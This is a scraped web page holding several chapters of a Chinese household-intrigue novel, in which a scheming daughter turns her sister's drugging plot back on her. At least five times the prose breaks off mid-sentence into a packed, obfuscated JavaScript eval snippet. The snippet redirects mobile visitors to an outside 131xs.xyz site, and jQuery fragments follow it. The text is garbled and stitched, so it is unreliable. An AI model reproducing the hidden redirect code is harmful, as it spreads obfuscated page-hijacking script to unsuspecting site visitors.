;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576624|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药的滋味吧。 * 莲儿回瑶华院拿完披风,原路返回没看到两位小姐,只得折回了践行宴。 晏明远一眼就瞧见了站在门口张望的她。 他猛地站起身询问:“你不是送大小姐和二小姐去回院子了么,怎么回来了,出什么事了吗?” 莲儿吓了一跳,赶忙把事情说了一遍。 “去找两位小姐。”晏明远当即吩咐了下去。 当时两个妹妹离开时,星儿身边没有自己的丫鬟,腿脚还不方便,若是出事了,她跑都没法跑。 下人立刻动了起来。 但晏明远还是不放心,放下筷子起身跟着去找了。 姜清屏也觉得不对劲,儿子透气的时间是不是也太久了一点。 但想着儿子身边跟着自家的小厮,一个大男人,应该不会出什么事吧? “明远,等等,我和你一起吧。”姜清屏也起身。 她都去找人了,定远侯也没法独坐在原地,只得一块起身找人。 温如霜得知女儿和晏逐星不见了的消息,暗道不好。 “明日就要离开侯府了,这个节骨眼,明月不会出事吧。”她有些懊恼自己为什么那么早离席。 若她在,肯定不会让女儿和晏逐星那个心机叵测的野种单独离开。 但现在说什么都晚了。 “去找二小姐,找到了不管发生什么事,都先带她来见我。”温如霜赶忙吩咐了下去。 “是。”李氏着急忙慌地去找人。 她心里忍不住埋怨晏明月不省心。 夫人都给她找了多少条生路了,怎么一天天的,就是不肯消停呢。 “大小姐回玉澜院了,正沐浴呢。” 很快就有人将晏逐星的下落告知了晏明远。 而晏明月却不在自己的瑶华院,出来透气的温韫也没在附近,回晏明修的院子也没找到他人。 “不会出什么事了吧?”姜清屏顿时腿软。 晏明远和晏明修同时伸手搀扶她:“舅母莫要太担心,已经派人在找了。” 话音刚落,管家便匆匆忙忙领着温韫的贴身小厮平安来了。 第58章 撞破了** “韫儿呢?”姜清屏当即质问。 “少爷说要去透个气,让我不必跟着,先回院子里清点明日的行囊。可别落下了东西。”平安满脸焦急。 他不过回去清点了一会儿行李,少爷怎么就不见了。 “怎么办?韫儿不会出事了吧。”姜清屏腿一软,差点跌坐到地上。 幸好晏明修和晏明远眼疾手快地搀扶住了她。 “还没找到人么?”晏明远看向管家。 管家露出了为难的神色,似乎有些难以启齿。 见他这副表情,姜清屏直起身急得直跺脚:“你快说啊!!!是不是韫儿出事了?” “没听到舅母问你话么。”晏明修跟着呵斥。 管家赶忙弯腰行礼回话:“虽未找到人,但暖香坞那边有动静。我等不敢擅作主张,还请侯爷亲自走一趟。” “什么动静还得本侯亲自去一趟。”定远侯今夜喝得有点多,此刻脑子有些晕乎。 “走吧,带路。” 管家应了一声,赶忙将人领了过去。 几人一到暖香坞,便明白了管家先前为什么会是那个表情。 暖香坞里传来了激烈的撞击声和女子的呻吟声。 明眼人一听就知道里边正在发生什么事。 晏明远和晏明修下意识地就联想到了先前失踪的晏明月和温韫。 姜清屏也和他们想到一块去了,脸色一瞬间变得煞白。 定远侯听到这个动静,顿时勃然大怒:“谁竟敢在侯府光明正大行这等苟且之事?!” 他一时间没反应过来,里边很可能是自己的大外甥和女儿。 “把门撞开,将这对不知羞耻的野鸳鸯给本侯抓出来!”他厉声呵斥下命令。 “不,不行。”姜清屏赶忙阻止,“妹夫,没必要这么大的阵仗吧。” 定远侯见她眼里露出惊慌,猛地反应了过来里边的人是谁。 他反倒下定了决心,上前就踹开门:“这种不守规矩的下人,何必给他们留面子。” 若里边真的是温韫和明月。 正好逼温家人认下这个儿媳妇。 就不用担心明月嫁不出去了。 门被踹开,所有人都看到了温韫正搂着晏明月行不可描述之事,丫鬟们惊呼一声,都捂住了眼睛背过身去。 两人神情迷醉,冷风灌入后猛地清醒了过来,赶忙停止了动作。 “你们这是在做什么?!”定远侯厉声呵斥。 姜清屏看清这一幕,当即软了身子晕了过去。 晏明月大脑一片空白。 怎么会是她和表哥? 温韫惊得想要起身去看自己的娘亲,但又意识到自己如今还未着衣裳,赶忙道:“快给娘亲请大夫!” “温韫,你对我妹妹做了什么?!”晏明修怒不可遏,扑上去就要揍他。 晏明月混沌的脑子在这一刻终于清醒了过来。 她慌乱地用被子裹住自己,一把推开温韫,自己对上晏明修。 “二哥,是大姐姐的丫鬟将我迷晕送进屋子里的!”她着急地替自己辩解。 一句话让在场的人全都愣住了。 “我就知道那野丫头不怀好意,我这就找她算账去!”晏明修气得浑身发抖。 晏明远下意识地拦住了他,质问晏明月:“星儿的丫鬟不是被你叫走去找耳坠子了么,后来只有你和你的丫鬟带着她离开的。她的丫鬟怎么迷晕你的?” 晏明月也不知道该如何解释这一切。 明明现在该被质问训斥的人是晏逐星才对呀。 她委屈地落下了眼泪,推了温韫一把:“表哥,你说句话呀。” 温韫也没想到事情会演变成这样。 他回忆着先前发生的事情。 他按照和晏明月约定好的,带着信来到了暖香坞。 他闻着屋内的香气,不知不觉就晕了过去。 事到如今,他还不知道发生了什么事情。 只得僵硬地按照之前的说法解释:“我出来透气,遇到了逐星表妹。她以书信纠缠我,我正训斥她女儿家不知羞,突然就眼前一黑了……” “那香,那香肯定有问题!”他信誓旦旦地指着屋内燃尽的熏香。 “书信?是这个东西么?”晏明修眼尖地看到了地上散落地几页纸。 “对。”温韫忙点头。 晏明修捡起来扫了一眼,顿时激动地嚷嚷了起来:“这就是晏逐星的字迹,我认得!!!” 再一看上边写的那些露骨内容,气得大骂:“真是个不知廉耻的东西,竟然还敢肖想表哥。” 晏明远一把抢过,看得怒火也升了上来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583156|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这还真是星儿的字迹。 定远侯没想到此事竟然还牵扯到了晏逐星。 若是让晏明月嫁到温家当正妻,他觉得是个不错的出路。 而如今晏逐星得了皇后和烈国公夫人的宠爱,让她嫁去温家,那就有些可惜了。 见他迟疑着不说话,晏明远小声提醒:“父亲,先让他们把衣裳穿好吧。” “哼。去把夫人和大小姐都请来。”定远侯冷哼一声,带着几人往正厅走去。 没过多久,温如霜和晏逐星一前一后地抵达了。 “你这个混账,你害了明月一次还不够,还要再害她第二次吗?”温如霜恨不得将她活剥生吞了。 明明她已经给女儿找了一条绝处逢生的路,晏逐星竟然又毁了。 姜清屏也已经悠然转醒,听到这话,她立刻起身走向晏逐星,抬手就要扇她耳光。 结果被衔蝉拦住了。 “你个贱婢,滚开。我教训人,轮得到你插手么。”姜清屏恨恨开口。 “衔蝉是永安王府的人。管教她,轮不着舅母出手哦。”晏逐星笑眯眯地看着她。 姜清屏被她的笑勾起了怒火,想要推开衔蝉继续冲她去,就被定远侯给呵斥住了。 “大嫂,事情还未有定论,您现在动手是不是也太早了?” 姜清屏退后两步,坐回了原位。 “妹夫,今夜之事你必须要给我一个交代。我们韫儿早已定亲,明年三月就要成婚了。这可如何是好啊。”她气得涨红了脸。 若纳晏明月为妾,和侯府的关系就要闹僵了。 可若退了林家的婚事,林家那边也不好交代啊。 她一时间头痛欲裂,后悔来这一趟了。 定远侯听着这话心里很不舒服。 什么叫他要给她一个交代。 现在是他女儿被她儿子占了便宜好不好! “爹爹,究竟发生什么事了?为什么母亲和舅母都一副要杀了我的模样?”晏逐星的尾音哽在喉间,像是被满屋子**的目光吓住了。 定远侯便将先前发生的事情简略地说了一遍。 晏逐星猛地后仰撞得轮椅“咯吱”后滑半尺,她当即举手发誓,喉间带上了哭腔:“我对天发誓,此事与我绝无半点关系。还请父亲明鉴!” 第59章 不该瞒着的 “你还装!当时就是你身边的这个丫鬟用帕子把我迷晕的。”晏明月气疯了。 晏逐星如今扮柔弱装可怜的伎俩都是她用过的,她一眼就看穿了,她都是装的。 “二妹妹,说话要讲证据的。我知道你不喜欢我,但也没必要三番五次污蔑我。”晏逐星红着眼眶看向她。 “你要证据是吧,这就是证据。”晏明修把那些写满了情话的信砸到了晏逐星脸上。 晏逐星随手抓一起一张,扫了一眼,摇头道:“这不是我的字迹。” “胡说!你之前**的字,是大哥和我教的,我们都认出来了,这就是你的字迹。你还敢狡辩?”晏明修气得脸红脖子粗的,像是她再不承认就要冲上来将她打一顿了。 “星儿,你若心仪表哥,可以让父亲母亲去说,何必做出这样败坏门风的事情。”晏明远叹了一口气,眼里满是失望。 晏逐星嗤笑一声:“大哥,我还真以为你变了。这不和之前也没什么区别嘛。” 晏明远抬头看向她,见她唇边挂着讽刺又疏离的笑,一时间愣住了。 “我和晏明月有了矛盾,你们还是不听我辩解就默认一切坏事都是**的。”晏逐星冷笑着举起了手里那封信。 “这信上的字迹,都已经是我五年前的字迹了。这几年我从未有功夫练字,如今的字迹早就不是这样的了,这分明是旁人伪造的。” 晏明远听到这话,心尖上像是被人用针狠狠扎了一下。 “衔蝉,你去将我这几日练习的字取来,让父亲他们好好比对。”晏逐星冷冷地下命令。 晏明月没想到晏逐星如今字迹竟然变了。 她害怕之后还会有变故,只能尽快将黑锅扣在晏逐星身上:“那万一是你最近故意改了字迹呢?表哥都亲口说了,当时这信就是你给他的。” “我根本就没见过温韫,何谈给他送信?”晏逐星依旧十分淡定。 “而且,有皇后娘娘和烈国公夫人在,我何愁嫁不出去,为什么要去攀扯一个温韫?” 姜清屏母子听到这话顿时就不乐意了。 怎么听晏逐星这话,好似还瞧不上他们温家? 没等晏明月反驳,晏逐星又脱口而出:“反倒是你,失了清白后威宁侯又不愿意娶你当平妻,只许你嫁过去当妾,你这才狗急跳墙算计的温韫吧。” “什么?”姜清屏母子同时惊呼出声。 温如霜没想到她瞒了这么长一段时间的事情竟然被晏逐星给说了出来。 “混账,你给我住嘴!!!”温如霜恨不得从轮椅上扑过去,撕烂晏逐星的嘴。 “不,不是的。”看到舅母和表哥怀疑的眼神,晏明月急忙摇头。 “我绝对没有算计表哥。” “小妹,失了清白到底是怎么一回事?”姜清屏浑身战栗如坠冰窟,怒火却在胸腔沸腾。 她一心一意帮她巩固地位,结果她竟然让女儿算计她儿子。 “嫂子,事情不是你想的那样。”温如霜慌张地解释了起来。 “明月只是在玄空寺落水,得了威宁侯相救。威宁侯比我尚且年长几岁,他只是单纯的救人,什么也没发生呀。” “可全京城的人都知道这事了呀。母亲,您为何要瞒着舅母呢?”晏逐星继续补刀。 “你闭嘴!”温如霜的嘶吼都带着怒火。 “小妹,我拿你当一家人,你却将这么重要的事情瞒着我?”姜清屏的心彻底冷了。 “不是的,嫂子。”温如霜追悔莫及。 她不该瞒着嫂子这件事的。 她那不是怕嫂子回青州说漏嘴,让明月在青州难堪么。 一旁的温韫露出了恍然大悟的神情。 他伸出手指向晏明月:“所以,从头到尾你算计的都不是晏逐星,而是我?” 晏明月把头摇得像拨浪鼓。 “不,不是的。表哥你听我解释。我知道你明年就要娶妻,我怎么可能做这样的事情!” 晏逐星饶有兴致地看着他们争执。 今夜的戏可真精彩啊。 晏明月即便能用此事要挟温韫嫁进温家,此后也不会受温家人待见。 他们一定会恨死她。 她在温家的日子也不会好过。 温如霜若是选择护住女儿,就势必要跟娘家人闹翻。 若是选了娘家人,就定会和晏明月这个女儿离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她有太多话想问,但是却没有机会,直接被拖了下去。 晏明修又惊又气,同时还放心不下亲妹妹。 他着急地看向父亲:“爹,二妹妹最是纯善,不可能做这些事,一定是被人污蔑的。” 说完他伸手指向晏逐星。 晏逐星立刻接话:“我懂我懂,二哥要说这事肯定是**的了。反正不会是你那个纯善的妹妹干的。” 晏明修要说的话被她抢先一步说完了,整个人噎在了原地,一时间张着嘴不知道该怎么反驳。 “蠢货,滚下去。”定远侯冷冷地瞥了他一眼。 晏明修不服气,定远侯又道:“是又想去祠堂罚跪么?” 想到前两日的惨状,晏明修闭嘴了。 晏明远上前:“父亲……” 还没说完,就被暴躁的定远侯打断了:“你也滚。” 晏明远知道父亲现在很不高兴,于是识相地闭上了嘴。 看到大哥也被训斥,晏明修心里平衡多了。 “爹爹,那我也先回屋了。”晏逐星主动提出告退。 “嗯。去吧。”定远侯点了点头。 将孩子们都赶走后,屋子里只剩下了定远侯夫妇和姜清屏母子四人。 “此事侯府必须给我们一个交代。”姜清屏冷漠地开口。 温如霜心乱如麻,不知道该如何是好。 一方面担心女儿受了那么大的打击会想不开,另一方面又担心娘家人从此与她断绝往来。 她有些尴尬地开口:“嫂子,此事或许有什么误会……” “还能有什么误会,人证物证确凿!”姜清屏冷漠开口。 “嫂子这话说的,怎么就人证物证确凿了。”酒醒后,定远侯清醒了不少。 “韫儿自称手里的信是星儿给的,可星儿压根没见过他吧。” “还有,今夜没喝几口酒,韫儿就离席迟迟未归,这中间究竟发生了什么,谁也不清楚吧。” 他将先前的疑点抽丝剥茧说了出来。 “你这话什么意思?你的意思是说今夜之事是我韫儿谋划的咯?”姜清屏好不容易压下去的火,一下就窜了上来。 “嫂子,我没有别的意思。事情已经发生,韫儿也占了明月的身子,理该对她负责。”定远侯抓住重点。 “不行,我已经答应了淑儿回去成婚的。”温韫当即拒绝。 “一切都是明月表妹拜托我帮忙,才会造成现在这个局面的。” 他赶忙将晏明月的计划和盘托出,最后还不忘将自己从整件事情里摘出去。 “她只让我拿着这些信训斥逐星表妹不知羞耻,下药之事全然没告诉我呀。如果告诉我,我肯定不会答应她的。” 温如霜听得眼前一黑又一黑。 这个女儿怎么能那么蠢!!! 明知道晏逐星不好惹,怎么还用这样拙劣的计划去陷害她。 定远侯听完对晏明月彻底失望了。 曾经还有美貌,如今美貌与脑子都没有,留着也没什么大作用了。 “我不管你们是怎么约定的,但事实就是你已经占了明月的身子。”定远侯冷淡地开口。 “她日后还怎么嫁人。” 姜清屏气急败坏道:“妹夫,你别以为我们没去打听就不知道情况,先前晏逐星可是说了,晏明月现在根本嫁不出去!你们休想赖上我家韫儿。” “怎么能叫赖上呢?”定远侯打定主意要将女儿塞到温家去,语气十分坚决。 “你们若是不愿意,那我便等到韫儿大婚那日,将明月送去,让她请温家老祖宗们做主了。” “你!”姜清屏气得胸口连连起伏,要不是儿子一直帮她拍背顺气,她恐怕都要气晕了。 温如霜听着两人争执,心乱如麻,当场就晕了过去。 她这一晕,惊得李氏忙叫大夫。 姜清屏和定远侯爷停止了争吵。 “大嫂,明日你们再留一日吧。待到这事商议出章程,再离开吧。”定远侯做出了决定。 “用得着你说。”姜清屏现在对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588308|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定远侯府一家都是一肚子气,看谁都不顺眼。 她扯着儿子就离开了。 而后连夜写信让人送回青州,将此事原原本本地告知夫君。 好让他知晓,他的好外甥女究竟做了什么。 定远侯让人看好晏明月,不许她闹自尽。 “若二小姐出了任何差池,你们都得跟着陪葬。” 甩下这么一句话,定远侯烦躁地回了自己的院子。 这一刻,他格外想念阮寄薇。 阮寄薇如同一朵解语花,和她待在一起,他感觉自己好似年轻了十几岁,仿佛回到少年时,所有烦心事都烟消云散。 如今,他只盼着快点将温家人送走,好接阮寄薇过门。 * 当夜,定远侯府灯火未灭,人人无法安眠。 打了一场胜仗,晏逐星满意地让小厨房做了夜宵加餐。 天气冷了,睡前来一碗热乎乎的茯苓牛乳羹很是舒服。 她坐在桌前,慢条斯理地用餐,一旁的双鲤没忍住问出了好奇已久的问题。 “小姐,您都知道二小姐往酒里下了药,您怎么还喝了呀?您就不怕出事吗?” 他们知晓了倒酒的那个丫鬟被二小姐收买后,就一直盯着她,看她什么时候会动手脚。 果不其然,在表少爷走之后,她就偷偷往酒里加了东西。 她瞧见后,抢先一步告知了九栀,让九栀转告小姐。 没想到小姐接过酒壶,亲自给自己倒了一杯酒,喝了下去。 当时可把她给吓坏了。 “答案就在此壶中。”晏逐星笑意盈盈,指着桌上被替换回来的酒壶。 “这壶也没什么特别的呀。”双鲤捧着酒壶看来看去,看不出个所以然来。 九栀和衔蝉也好奇地凑了过来,三人愣是没一个看出问题的。 “小姐,您就别藏着掖着了,您比我们都聪明,您就告诉我们吧。”双鲤扯着她的手撒娇。 “您要是不说,今夜一整晚我都要睡不着了。” 第61章 侯府又出事 晏逐星将最后半勺牛乳羹咽下,放下了手中的白瓷匙,笑着将那个酒壶接过来,拇指在壶腰凸起处拨弄了一下。 只听“咔哒”一声响。 原本该倒出的琥珀色酒液竟成了透明无色的泉水。 三人都惊讶地瞪大了眼睛。 原来是壶中藏着两重天地,轻轻一拨机关就换了里边的东西。 “怪不得小姐让我将酒壶给提前换了呢。”九栀喃喃自语,“这可真是个好东西。” 晏逐星笑眯眯地点头:“那当然啦,我亲手做的东西,能不好吗。” 上辈子,她在军营里喝酒喝不过别人,便央着军器监出身的军中好友萧檀帮她想出了这么一个**的法子,悄悄将酒壶给改造了一番。 只需轻轻按下凸起的位置,两重酒室在壶腹内就可以不露痕迹地调换方位。 见识到这精妙的机关后,九栀猛地想起了被她捆起来的那个小丫鬟。 “对了,小姐,那个芙儿要怎么处理呀?” 晏逐星略一思忖,开口道:“将她放了。” “放了?万一她要是把九栀姐姐绑她的事情说了怎么办?”双鲤顿时急了。 “无所谓。她说了也不会有人信的。”晏逐星微微一笑。 晏明月的话定远侯他们都不信,何况一个小丫鬟的话。 就该让她也尝尝百口莫辩的滋味。 就像上辈子她被所有人当成疯子一样,现在该轮到晏明月体验什么叫绝望了。 而且,再弄死一个丫鬟引得裴明镜找上门来,那可就不妙了。 她如今得罪了他的母亲,还是离他远远的好。 “是。”九栀没想太多,小姐让放人她就放人了。 芙儿被扔到了瑶华院的狗洞附近。 声响引起了院里洒扫丫鬟的注意。 “是芙儿!” 她惊呼一声,让晏明月猛地站了起来。 “把她带上来。”她咬牙切齿地下令。 她要知道,之前究竟发生了什么,她为什么会失败。 芙儿还在昏迷,被一瓢冷水浇到了脸上,瞬间冻醒。 “二、二小姐。”她哆哆嗦嗦地开口。 “说,究竟发生了什么事?”晏明月脸上满是狠辣。 先前被掀翻的伤痕让她此刻看起来更加恐怖了。 “我一切都按照您的吩咐去办的呀,是大小姐的丫鬟将我打晕了。”芙儿哭着开口解释。 晏明月脸色愈发阴沉,她猛地将茶盏摔到地上。 茶盏碎裂的声音让众人都哆嗦了一下。 晏明月弯腰捡起一块碎瓷片,盯着芙儿的脸。 芙儿一瞬间感觉自己好像被一条阴冷的蛇给盯上了。 她浑身控制不住地颤抖,晏明月捏着她的下巴,冷笑:“真是个没用的东西。” 预感到危险来临,芙儿连连求饶:“二小姐饶命呀,二小姐我错了,您饶了我这一回吧。” “晚了。”晏明月抬手将碎瓷片划破了芙儿的脸。 芙儿惨叫一声晕了过去。 晏明月这才将染血的瓷片扔到地上,冷冷道:“将她抬走,别让她**。否则她的下场,就是你们的下场。” “是。”丫鬟们不敢多言,急忙将屋内的狼藉给收拾干净。 经历了今夜的打击,晏明月反倒冷静了下来。 是她小瞧了晏逐星,以为她还是从前的废物,没想到她竟然已经成长到了这样的地步,还找到了不少帮手。 她看着铜镜里的自己,摸了摸脸上的伤疤,一字一句道:“晏逐星,我不会放过你的。” 她也不会就这样被击垮的。 她是侯府的真千金,她比晏逐星尊贵百倍千倍。 她一定要过得比她更好。 * 定远侯府的热闹,停云瞧得是一清二楚。 他风风火火地跑回了永安王府。 “王爷,定远侯府又出事了。” “又出什么事了?”谢翊宁继续看着照夜送回来的证据,头也不抬。 停云迅速道:“侯府二小姐和侯府表少爷行苟且之事被人当场逮住了。” “说重点。”谢翊宁不耐烦地抬头。 一旁的照夜疑惑地皱紧了眉头,这种琐事停云告诉王爷做什么。 他不在京城里的这段时间,究竟发生了什么事? 停云小心翼翼地补充:“此事应当是晏大小姐暗中谋划的。她尚未及笄,就有如此心机,往后……” 他没说完,但却忍不住摇头。 若以后他娶的是这样一个满是心机的女人,他怕是活不过三朝回门。 谢翊宁挑眉,露出了骄傲的笑:“不错。尚未及笄就有这样的手段,足以见得她的聪慧。日后她若是嫁了人,本王也不必担心她在后宅受人欺负了。” 停云:…… 得,白说了。 他就知道王爷眼里晏大小姐什么都好,做什么都是对的,他真是多此一举。 照夜:??? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588309|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么情况,他彻底听迷糊了。 先前他还以为王爷看上的是定远侯府的二小姐,后来又以为是大小姐,但怎么听着王爷的意思是想让大小姐嫁给别人? “行了。侯府那边有衔蝉在,你不必时常盯着了。本王还有更重要的事情要办。”谢翊宁知道晏逐星打赢了这场“仗”,便放心下来没有细问,而是说起了正事。 “明日照夜随本王一块入宫,见父皇。” 照夜从南阳带回了当地官员修水坝贪赃枉法的证据,他得将证据交给父皇。 他记得上一世在太子妃嫂嫂诞下女儿的次年四月中旬,南阳连下了七天七夜的暴雨,堤坝被洪水冲垮,成千上万的百姓流离失所,**不少人。 尸体堆里滋生的瘟疫又夺走一城人的性命 同年六月,许州大旱,地缝裂得能吞人。粮食锐减,百姓被渴死饿死。 连着遭遇了两次天灾,坊间流传起父皇失德招来天谴的谣言,御史们捧着万民书,硬要父皇下罪己诏。 明明父皇上位以来勤政爱民,为百姓做了不少好事,到头来却要被泼上无道昏君的脏水。 重活一世,他一定要保住父皇的名声,更要救下那些本该好好活着的百姓。 * 翌日清晨,定远侯府笼罩着一股压抑的气息。 温如霜醒后,独自垂泪到天明。 自打她瘫痪后,侯府好像就变天了。 一桩桩一件件的事情,几乎都在把她往绝路上逼。 女儿和娘家,她真的不知道该怎么选。 此事确实是女儿挑起的祸端,但女儿也确实失了身,这事她真的进退两难。 要是昨夜和温韫颠鸾倒凤的是晏逐星就好了。 那她根本就不用纠结,直接将晏逐星以勾引表兄的名义逐出家门。 “怎么出事的不是那个贱丫头。”温如霜狠狠将筷子拍到桌上。 周边伺候她用膳的丫鬟瑟瑟发抖,紧紧抿唇,不敢发出半点声音,生怕触怒了她。 温如霜深吸一口气,询问道:“二小姐呢?可曾用过膳了。” “二小姐绝食了。”丫鬟小心翼翼地回答。 温如霜感觉头更痛了。 这种时候,绝食有什么用。 偏偏这个时候,姜清屏还找过来了。 “小妹,你们该给我们一个说法了吧。”她冷冷开口。 温如霜意识到,娘家和女儿,她必须做出一个决断了。 第62章 做妾又如何 “嫂子,昨夜之事,是我们先对不起你们。”温如霜放软了姿态。 若明月嫁过去,嫂子就是婆婆,她若针对明月,那明月就真的是有苦说不出了。 毕竟婆婆管教儿媳,天经地义。 姜清屏冷着脸没说话。 一句轻飘飘的对不起可没法平息她的怒火。 一大早,她就派人出去打听了晏明月和威宁侯的事情,打听完她几乎要吐血了。 威宁侯府老老少少都不要的人,现在硬要塞给她儿子当正妻,她是绝对不会同意的。 见她不回应,温如霜只能硬着头皮道:“嫂子,明月还小,犯了糊涂,你就原谅她这一回吧。毕竟怎么说,你都是她的亲舅母啊。” “行啊,我原谅她,这事就当没发生过。”姜清屏斩钉截铁地回答。 温如霜脱口而出:“那怎么行。” “难不成你还想让韫儿娶她当正妻?”姜清屏拔高了音调。 “林家那边我们早就定下亲事了,不可能换儿媳妇。” “平妻不行么?”温如霜伸手去拉她的手。 “嫂子,如今错误已经酿成,你若不让韫儿娶明月,她就没有活路了呀。她只能绞了头发当姑子去。” 温如霜说着眼泪就掉了下来。 但姜清屏不吃她这一套,直接甩开她的手。 “林家也不是什么小门小户,人家断然不会同意平妻的。最多让她给韫儿当妾。” 温如霜早就预料到了这个结果。 她心如刀割,让她精心教养的女儿去当妾,她是万万不愿的。 可如今明月已经是韫儿的人,他若不要她,日后她还怎么办。 “嫂子,你说这话不是往我心上戳刀子么。”温如霜不停地抹眼泪。 “我一个将死之人,只希望孩子过得好,让明月去当妾,我还有什么颜面面对侯府列祖列宗啊。” 她晏明月能干出那样不要脸的事情就已经够对不起侯府的列祖列宗了。 姜清屏在心里冷笑。 但面上她还是放缓和了语气。 温如霜如今是侯府主母,对温家还是很有助益的。 “小妹,做妾又如何,只不过是一个称呼罢了。她就算给韫儿做妾,但实际上还是温家的外孙女啊。林家姑娘即便嫁过来,当做正妻,也是不敢欺负她的。” 温如霜被她这番话说动了。 “嫂子,你容我想想。” “行,你慢慢想,此事宜早不宜迟,你最好早点做决定。”姜清屏松了一口气。 温如霜把晏明月叫了过来,把姜清屏的意思告诉她。 “娘,我是侯府嫡女,怎可当妾!”晏明月立刻不愿意。 “你听娘说。趁着那个姓林的没嫁过来之前,你好好笼络你表哥的心。男人的心在你这,你就什么都不用担心。”温如霜把道理掰开揉碎了告诉她。 “只是暂时不能当正妻而已。若林家姑娘入门后没了,扶你为正妻也是迟早的事。” 晏明月顿时明白了娘亲的言外之意。 她仔细思索了起来。 此事,或许可行。 “好,娘亲,我听你的。”晏明月重重点头。 听到这话,温如霜总算松了一口气。 女儿肯听劝就好。 令他们母女二人没想到的是,定远侯和晏明远兄弟俩竟然都反对让她去给温韫做妾。 “简直丢人现眼,我绝不同意。”定远侯一想到亲女儿自甘堕落给人当妾就一肚子的火。 “表哥怎么能这样对明月。他们都有了夫妻之实,就该娶明月为正妻!”晏明修替妹妹打抱不平。 晏明远也不舍得让她去当一个妾侍,但事情又因她而起,他实在是不知道该说什么,只得叹息一声。 “事已至此,我已经别无选择。至少表哥愿意要我。”晏明月无声落泪。 木已成舟,他们也想不出更好的解决办法,最终还是听了温如霜的,按照原计划让晏明月跟着姜清屏母子一块去青州。 温如霜放心不下,怕她在路上受欺负,让晏明远兄弟二人一块将她送过去。 但晏明修不肯,他还是无法接受亲妹妹去给表哥当妾这件事。 最后只有晏明远跟着他们一块走了。 晏逐星坐在轮椅上,静静地看着马车离去的影子。 九栀出声提醒:“小姐,真就这样放过她了么?” “放心吧,给她送的大礼她很快就要收到了。”晏逐星勾唇,微微一笑。 她给晏明远的那瓶玉肌膏,她重新挖出来填充了一遍。 上边都是宫里出来正儿八经的玉肌膏,而最底下的那一层,她混了让人毁容的药膏。 她很清楚,按照晏明远疼爱晏明月的程度。 他拿到玉肌膏之后一定会把药送给晏明月的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594229|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算算时间,晏明月也快用到底了。 不知道等温韫看到容貌全毁的晏明月,还愿不愿意让她当妾。 想到那个场景,晏逐星心情美得不行。 这段时间晏明远不在,温如霜又瘫了,定远侯还沉迷于阮寄薇的温柔乡,正是对晏明修下手的好时机。 是时候该好好计划计划了。 * 谢翊宁领着照夜去了御书房。 文昭帝正和太子谢元宸在商议朝政要务。 “儿臣见过父皇,见过太子哥哥。” “小石头今日怎么有空入宫来了?”文昭帝笑呵呵地看着儿子。 “有十万火急的事情要告知父皇。”谢翊宁将收罗来的证据命人呈上了御案。 “什么事让我们小石头这般严肃?”文昭帝一开始还有心思调侃儿子,但翻看那些证据,看着看着脸上的笑容就渐渐消失了。 谢元宸看着父皇变化的表情,忍不住皱起了眉头。 